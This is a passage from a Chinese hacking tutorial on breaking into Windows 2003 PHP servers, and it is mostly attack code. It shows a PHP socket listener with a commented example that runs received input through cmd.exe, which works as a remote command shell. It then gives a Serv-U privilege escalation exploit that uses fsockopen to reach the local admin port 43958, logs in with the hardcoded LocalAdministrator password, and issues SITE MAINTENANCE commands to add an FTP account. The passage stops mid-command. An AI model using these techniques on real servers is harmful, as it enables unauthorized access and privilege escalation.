win2003 PHP服务器的突破新思路(3)
栏目:win服务器问题汇总
时间:2019-10-11 14:27
}
if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
}
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}
do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
break;
}
/* Send instructions. */
$msg = "\nWelcome to the PHP Test Server. \n" .
"To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false === socket_recv($msgsock, $buf , 1024, 0)) {
echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: You said '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf\n";
//以下处理接受到的buf
/*eg:例如
$buf=”cmd.exe /c netstat –an”;
$pp = popen('$buf ', 'r');
While($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/
} while (true);
socket_close($msgsock);
} while (true);
socket_close($sock);
?>
事实上,很多主机都是没有加载php_sockets.dll的,庆幸的是,不需要socket模块支持的“fsockopen”函数已经足够我们使用了。因为只要有“fsockopen”,我们便可以自由地读写本机中未对外部开放的端口。使用fsockopen读写serv-u 的本地管理端口43958 (注: 该端口无法在外部连结) 进行提权便是一个很典型的例子:
$adminuser=” LocalAdministrator”;
$adminpass=” #l@$ak#.lk;0@P”;
$adminport=” 43958”;
$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)
\n";
} else {
//可以写入$shellcode
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."\r\n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."\r\n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE\r\n");
sleep (1);
fputs ($fp, "-SETUSERSETUP\r\n");
fputs ($fp, "-IP=".$addr."\r\n");
fputs ($fp, "-PortNo=".$ftpport."\r\n");
fputs ($fp, "-User=".$user."\r\n");
fputs ($fp, "-Password=".$password."\r\n");
fputs ($fp, "-HomeDir=".$homedir."\r\n");
fputs ($fp, "-LoginMesFile=\r\n");
fputs ($fp, "-Disable=0\r\n");
fputs ($fp, "-RelPaths=0\r\n");
fputs ($fp, "-NeedSecure=0\r\n");
fputs ($fp, "-HideHidden=0\r\n");
fputs ($fp, "-AlwaysAllowLogin=0\r\n");
fputs ($fp, "-ChangePassword=1\r\n");
fputs ($fp, "-QuotaEnable=0\r\n");
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");